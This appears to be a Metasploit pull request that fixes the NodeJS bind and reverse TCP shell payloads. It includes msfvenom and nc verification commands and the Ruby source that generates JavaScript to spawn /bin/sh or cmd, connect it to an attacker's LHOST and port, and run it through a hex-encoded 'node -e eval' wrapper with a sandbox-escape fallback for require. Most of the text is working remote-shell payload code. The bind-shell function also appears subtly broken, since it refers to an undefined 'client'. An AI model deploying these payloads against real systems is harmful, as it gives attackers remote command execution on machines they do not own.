437fe4b63a
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe.
On current versions the nodejs tcp shell payloads error out:
```
$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
at Socket.<anonymous> ([stdin]:1:405)
at Object.onceWrapper (events.js:293:19)
at emitNone (events.js:86:13)
at Socket.emit (events.js:188:7)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
```
With this change, bind and reverse tcp should be tolerant of both new and older versions.
*Reference*
https://github.com/nodejs/node/pull/2531
*Verification steps*
1. Set up a handler (either exploit/multi/handler or simple nc)
```
$ nc -l -v 7777
```
2. Use patched version with various versions of node:
```
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
```
3. Confirm both old and new versions of node result in shell, not error.
81 lines
3.2 KiB
Ruby
81 lines
3.2 KiB
Ruby
# -*- coding: binary -*-
|
|
require 'msf/core'
|
|
|
|
module Msf::Payload::NodeJS
|
|
# Outputs a javascript snippet that spawns a bind TCP shell
|
|
# @return [String] javascript code that executes bind TCP payload
|
|
def nodejs_bind_tcp
|
|
cmd = <<-EOS
|
|
(function(){
|
|
var require = global.require || global.process.mainModule.constructor._load;
|
|
if (!require) return;
|
|
|
|
var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
|
|
var net = require("net"),
|
|
cp = require("child_process"),
|
|
util = require("util");
|
|
|
|
var server = net.createServer(function(socket) {
|
|
var sh = cp.spawn(cmd, []);
|
|
socket.pipe(sh.stdin);
|
|
if (typeof util.pump === "undefined") {
|
|
sh.stdout.pipe(client.socket);
|
|
sh.stderr.pipe(client.socket);
|
|
} else {
|
|
util.pump(sh.stdout, client.socket);
|
|
util.pump(sh.stderr, client.socket);
|
|
}
|
|
});
|
|
server.listen(#{datastore['LPORT']});
|
|
})();
|
|
EOS
|
|
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
|
|
end
|
|
|
|
# Outputs a javascript snippet that spawns a reverse TCP shell
|
|
# @param [Hash] opts the options to create the reverse TCP payload with
|
|
# @option opts [Boolean] :use_ssl use SSL when communicating with the shell. defaults to false.
|
|
# @return [String] javascript code that executes reverse TCP payload
|
|
def nodejs_reverse_tcp(opts={})
|
|
use_ssl = opts.fetch(:use_ssl, false)
|
|
tls_hash = if use_ssl then '{rejectUnauthorized:false}, ' else '' end
|
|
net_lib = if use_ssl then 'tls' else 'net' end
|
|
lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
|
|
# the global.process.mainModule.constructor._load fallback for require() is
|
|
# handy when the payload is eval()'d into a sandboxed context: the reference
|
|
# to 'require' is missing, but can be looked up from the 'global' object.
|
|
#
|
|
# however, this fallback might break in later versions of nodejs.
|
|
cmd = <<-EOS
|
|
(function(){
|
|
var require = global.require || global.process.mainModule.constructor._load;
|
|
if (!require) return;
|
|
var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
|
|
var net = require("#{net_lib}"),
|
|
cp = require("child_process"),
|
|
util = require("util"),
|
|
sh = cp.spawn(cmd, []);
|
|
var client = this;
|
|
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
|
|
client.socket.pipe(sh.stdin);
|
|
if (typeof util.pump === "undefined") {
|
|
sh.stdout.pipe(client.socket);
|
|
sh.stderr.pipe(client.socket);
|
|
} else {
|
|
util.pump(sh.stdout, client.socket);
|
|
util.pump(sh.stderr, client.socket);
|
|
}
|
|
});
|
|
})();
|
|
EOS
|
|
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
|
|
end
|
|
|
|
# Wraps the javascript code param in a "node" command invocation
|
|
# @param [String] code the javascript code to run
|
|
# @return [String] a command that invokes "node" and passes the code
|
|
def nodejs_cmd(code)
|
|
"node -e 'eval(\"#{Rex::Text.to_hex(code, "\\x")}\");'"
|
|
end
|
|
end
|